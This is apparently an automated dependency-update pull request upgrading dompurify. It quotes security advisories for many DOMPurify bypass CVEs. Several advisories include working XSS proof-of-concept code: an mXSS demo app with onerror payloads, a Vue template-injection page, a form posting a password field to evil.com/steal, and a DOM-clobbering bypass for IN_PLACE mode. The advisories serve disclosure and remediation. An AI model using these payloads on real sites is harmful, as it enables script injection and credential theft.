[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	2.3.8 → 3.4.17

---

DOMPurify allows tampering by prototype pollution

CVE-2024-45801 / GHSA-mmhx-hmjr-r674

More information

Details

It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.

This renders dompurify unable to avoid XSS attack.

Fixed by cure53/DOMPurify@1e52026 (3.x branch) and cure53/DOMPurify@26e1d69 (2.x branch).

Severity

• CVSS Score: 8.3 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674
• https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21
• https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc
• https://nvd.nist.gov/vuln/detail/CVE-2024-45801
• https://github.com/advisories/GHSA-mmhx-hmjr-r674

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMpurify has a nesting-based mXSS

CVE-2024-47875 / GHSA-gx9m-whjm-85jf

More information

Details

DOMpurify was vulnerable to nesting-based mXSS

fixed by 0ef5e537 (2.x) and
merge 943

Backporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking

POC is avaible under test

Severity

• CVSS Score: 7.9 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-gx9m-whjm-85jf
• https://nvd.nist.gov/vuln/detail/CVE-2024-47875
• https://github.com/cure53/DOMPurify/commit/0ef5e537a514f904b6aa1d7ad9e749e365d7185f
• https://github.com/cure53/DOMPurify/commit/6ea80cd8b47640c20f2f230c7920b1f4ce4fdf7a
• https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098
• https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html
• http://seclists.org/fulldisclosure/2025/Apr/14
• https://github.com/advisories/GHSA-gx9m-whjm-85jf

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify vulnerable to tampering by prototype polution

CVE-2024-48910 / GHSA-p3vf-v8qc-cwcr

More information

Details

dompurify was vulnerable to prototype pollution

Fixed by cure53/DOMPurify@d1dd037

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-p3vf-v8qc-cwcr
• https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc
• https://nvd.nist.gov/vuln/detail/CVE-2024-48910
• https://lists.debian.org/debian-lts-announce/2025/02/msg00010.html
• https://github.com/advisories/GHSA-p3vf-v8qc-cwcr

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify allows Cross-site Scripting (XSS)

CVE-2025-26791 / GHSA-vhxf-7vqr-mrjg

More information

Details

DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).

Severity

• CVSS Score: 4.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-26791
• https://github.com/cure53/DOMPurify/commit/d18ffcb554e0001748865da03ac75dd7829f0f02
• https://ensy.zip/posts/dompurify-323-bypass
• https://github.com/cure53/DOMPurify/releases/tag/3.2.4
• https://nsysean.github.io/posts/dompurify-323-bypass
• https://github.com/advisories/GHSA-vhxf-7vqr-mrjg

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

CVE-2026-65914 / GHSA-h8r8-wccr-v5f2

More information

Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

1. Start the PoC app:

npm install
npm start

2. Open http://localhost:3001.
3. Set Wrapper en sink to xmp.
4. Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

5. Click Sanitize + Render.
6. Observe:

• Sanitized response still contains the </xmp> sequence inside alt.
• The sink reparses to include <img src="x" onerror="alert('expoc')">.
• alert('expoc') is triggered.

7. Files:

• index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

• server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

• package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

• PoC

daft-video.webm

• XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

• Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
• Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
• Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2
• https://github.com/cure53/DOMPurify/releases/tag/3.3.2
• https://github.com/advisories/GHSA-h8r8-wccr-v5f2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify ADD_ATTR predicate skips URI validation

CVE-2026-65912 / GHSA-cjmm-f4jc-qw8r

More information

Details

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r
• https://github.com/cure53/DOMPurify/releases/tag/3.3.2
• https://github.com/advisories/GHSA-cjmm-f4jc-qw8r

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify USE_PROFILES prototype pollution allows event handlers

CVE-2026-65913 / GHSA-cj63-jhhr-wcxv

More information

Details

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv
• https://github.com/cure53/DOMPurify/releases/tag/3.3.2
• https://github.com/advisories/GHSA-cj63-jhhr-wcxv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

CVE-2026-65903 / GHSA-39q2-94rc-95cp

More information

Details

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }

Affected Version

v3.3.3 (commit 883ac15)

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp
• https://github.com/advisories/GHSA-39q2-94rc-95cp

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

CVE-2026-41240 / GHSA-h7mw-gpvr-xq4m

More information

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity

• CVSS Score: 6.0 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
• https://github.com/cure53/DOMPurify/releases/tag/3.4.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-41240
• https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80
• https://github.com/advisories/GHSA-h7mw-gpvr-xq4m

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

CVE-2026-41239 / GHSA-crv5-9vww-q3g8

More information

Details

Summary

Field	Value
Severity	Medium
Affected	DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):

// pass #​1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}

2. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #​2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #&#8203;2 never runs
}

// pass #&#8203;2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #​1 misses it
2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text
3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes

Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>

Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations

Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);

Severity

• CVSS Score: 6.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8
• https://github.com/cure53/DOMPurify/releases/tag/3.4.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-41239
• https://github.com/advisories/GHSA-crv5-9vww-q3g8

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CVE-2026-49459 / GHSA-r47g-fvhr-h676

More information

Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected

• DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
• Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected:

• String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
• IN_PLACE where the root is not an HTMLFormElement
• IN_PLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — _forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — _sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:

const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) {
  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED
  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip
  ...
}

If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers _isClobbered):

name= value	property _isClobbered checks	typeof on clobbered form
nodeName	typeof element.nodeName !== 'string'	object (an <INPUT>)
setAttribute	typeof element.setAttribute !== 'function'	object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below
namespaceURI	typeof element.namespaceURI !== 'string'	object
insertBefore	typeof element.insertBefore !== 'function'	object
hasChildNodes	typeof element.hasChildNodes !== 'function'	object
childNodes	!(element.childNodes && typeof element.childNodes.length === 'number')	object — <INPUT> has no .length
attributes	!(element.attributes instanceof NamedNodeMap)	object (an <INPUT> is not a NamedNodeMap)
textContent	typeof element.textContent !== 'string'	object
removeChild	typeof element.removeChild !== 'function'	object (non-callable)
removeAttribute	typeof element.removeAttribute !== 'function'	object (non-callable)

Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

(2) End-to-end — Playwright against main HEAD

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.setContent('<!doctype html><html><body></body></html>');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(() => {
    const root = document.createElement('form');
    root.setAttribute('onmouseover', 'window.__rooted = 1');
    const clobber = document.createElement('input');
    clobber.setAttribute('name', 'nodeName');
